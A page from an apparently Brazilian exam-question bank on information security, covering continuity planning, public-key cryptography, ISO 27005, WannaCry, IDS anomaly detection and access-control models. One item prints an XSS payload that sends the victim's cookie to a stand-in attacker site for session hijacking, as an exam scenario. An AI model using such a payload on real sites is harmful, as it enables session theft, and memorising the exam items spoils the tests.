Foram encontradas 16.858 questões.
- GestãoGestão de Continuidade de NegóciosBIA: Análise de Impacto nos Negócios
- GestãoGestão de Continuidade de NegóciosISO 22301: Continuidade dos Negócios
- GestãoGestão de Continuidade de NegóciosPCN: Plano de Continuidade de Negócios
Considere a lista a seguir:
1. Um processo para ativar a resposta da organização a um incidente de interrupção e, dentro de cada procedimento documentado, seus critérios e procedimentos de ativação.
2. Um processo para desmobilizar equipes após o incidente ter passado.
3. Regras e padrões para proteção das informações, possibilitando manter a confidencialidade, integridade e disponibilidade.
4. Papéis e responsabilidades definidos para pessoas e equipes que usarão o plano.
5. Orientações e critérios sobre quem tem a autoridade de invocar os procedimentos e sob quais circunstâncias.
6. A definição clara de como serão tratadas as informações pessoais, sejam elas de clientes, usuários ou funcionários e as informações institucionais.
7. Gestão das consequências imediatas de um incidente de interrupção considerando as questões de bem-estar de pessoas afetadas, as ações para responder a interrupção e prevenção.
8. Detalhes de contato para os membros da equipe e outras pessoas com funções e responsabilidades dentro de cada procedimento.
9. Detalhes indicando como e em que circunstâncias a organização irá se comunicar com os funcionários, com as principais partes interessadas e contatos de emergência.
No Plano de Continuidade de Negócio deve estar claramente identificável o que consta em 1, 2,
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- Conceitos BásicosPrincípiosAutenticidade
- Conceitos BásicosPrincípiosConfidencialidade
- Certificado DigitalInfraestrutura de Chaves Públicas (PKI)
- CriptografiaCriptografia Assimétrica
Considere, hipoteticamente, que os Técnicos Maria e José trocaram informações utilizando os procedimentos abaixo.
I. Maria cifrou uma informação com a chave pública de José e enviou essa informação a ele. José decifrou a informação usando sua chave privada correspondente.
II. Maria cifrou uma informação usando sua chave privada e a enviou a José, que decifrou esta informação usando a chave pública de Maria.
Os algoritmos criptográficos de chave pública, com relação às informações por eles protegidas, permitem garantir nos casos I e II, respectivamente,
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- GestãoGestão de RiscosISO 27005: Gestão de Riscos de Segurança da Informação
- GestãoPolíticas de Segurança de InformaçãoCiclo PDCA em Segurança da Informação
Considere os processos abaixo.
Processos do SGSI
− Planejar.
− Executar.
− Verificar.
− Agir.
Processos de GRSI
− Definição do contexto.
− Avaliação de riscos.
− Definição do plano de tratamento do risco.
− Aceitação do risco.
− Implementação do plano de tratamento do risco.
− Monitoramento contínuo e análise crítica de riscos.
− Manter e melhorar o processo de GRSI.
A norma ABNT NBR ISO/IEC 27005:2011 apresenta o alinhamento do processo do Sistema de Gestão da Segurança da Informação – SGSI e do processo de Gestão de Riscos de Segurança da Informação – GRSI. Segundo a Norma, o processo de GRSI denominado
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Considere um cenário em que uma aplicação utiliza dados não confiáveis na construção do seguinte fragmento HTML sem validação ou filtro:
(String) page += "<input name='num_cartao_credito' type='TEXT' value='" +
request.getParameter("credit_card") + " '>";
Considere, ainda, que um atacante modifica o parâmetro 'credit_card' em seu navegador para:
'><script>document.location= 'http://www.atacante.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'
Isso causa o envio do ID de sessão da vítima para o site do atacante, permitindo que sequestre a sessão atual do usuário.
Este é um cenário de ataque do tipo
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- Certificado DigitalArmazenamento de Chaves
- Certificado DigitalFundamentos: Certificado Digital
- Certificado DigitalTipos de Certificados Digitais
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- Análise de VulnerabilidadesAnálise de Código Malicioso
- Ataques e Golpes e AmeaçasMalwaresRansomware
- CriptografiaCriptografia SimétricaAES: Advanced Encryption Standard
“O ransomware WannaCry recebido e analisado pelo US-CERT é um carregador que contém uma DLL criptografada pelo algoritmo ..I.. . Durante o tempo de execução, o carregador grava um arquivo no disco chamado ‘t.wry’. O malware, em seguida, usa uma chave incorporada de ..II.... bits para descriptografar esse arquivo. Esta DLL, que é então carregada no processo pai, é o real WannaCry Ransomware responsável por criptografar os arquivos do usuário. Usando este método de carregamento criptográfico, o WannaCry DLL nunca é diretamente exposto no disco e portanto não fica vulnerável a varreduras de software antivírus. A DLL recém-carregada imediatamente começa a criptografar arquivos no sistema da vítima usando o mesmo algoritmo e o mesmo tamanho de chave. Uma chave aleatória é gerada para a criptografia de cada arquivo e esta mesma chave deve ser usada para descriptografar o arquivo, mas o hacker cobra um resgate em bitcoins da vítima para fornecer as chaves.”
(Adaptado de: https://www.multirede.com.br/2017/05/15/ataque-cibernetico-proteja-seus-dados-wannacry-ransomware/. Acessado em: 01/07/2017)
As lacunas I e II e a técnica de criptografia são, correta e respectivamente,
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Considere que um Sistema de Detecção de Intrusão (Intrusion Detection System − IDS) de um Tribunal foi configurado para realizar certo tipo de detecção. Um usuário, que sempre realiza o acesso à Internet no horário comercial, está sendo monitorado pelo IDS. Este IDS passou uma semana criando o perfil deste usuário e, a partir do último dia daquela semana, começou a empregar em seu perfil o horário comercial como o permitido para a utilização da Internet. Certo dia, após a detecção estar ativa, o usuário quis acessar a Internet durante a madrugada para entregar um relatório importante. Como este comportamento não estava de acordo com o perfil criado, a resposta a esta detecção realizada pelo IDS foi o bloqueio do acesso à Internet para aquele usuário. Neste caso, o IDS detectou um falso positivo. Embora isso possa ocorrer, pois o comportamento de usuários e sistemas pode variar amplamente, este tipo de detecção pode identificar novas formas de ataques.
O tipo relatado é denominado Detecção
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- AAA: Autenticação, Autorização e AuditoriaFatores de Autenticação2FA e MFA
- Controle de AcessoModelos de Controle de Acesso
Consider the statements below.
I. It is defined as a procedure requiring the combination of several factors, including at least two of the following: Knowledge-something the user knows, e.g., a password, a personal identification number (PIN); Ownership-something the user has, e.g., token, smart card, mobile phone/SIM; Inherence − something the user is, e.g., fingerprint. It is worth highlighting that the aforementioned requirement of having mutually independent factors could be difficult to match. In fact, in the context of access to Internet services, when using ownership and inherence factors as well as when inputting a PIN or password, the user transmits digital data to the verifying counterpart, so that regardless of the generating factor, susceptibility to interception is a common vulnerability.
II. Security administration can be costly and prone to error because administrators usually specify access control lists for each user on the system individually. With this kind of control, security is managed at a level that corresponds closely to the organization's structure. Each user is assigned one or more roles, and each role is assigned one or more privileges that are permitted to users in that role. Security administration with it consists of determining the operations that must be executed by persons in particular jobs, and assigning employees to the proper roles. Complexities introduced by mutually exclusive roles or role hierarchies are handled by its software, making security administration easier.
The statements I and II refers respectively to
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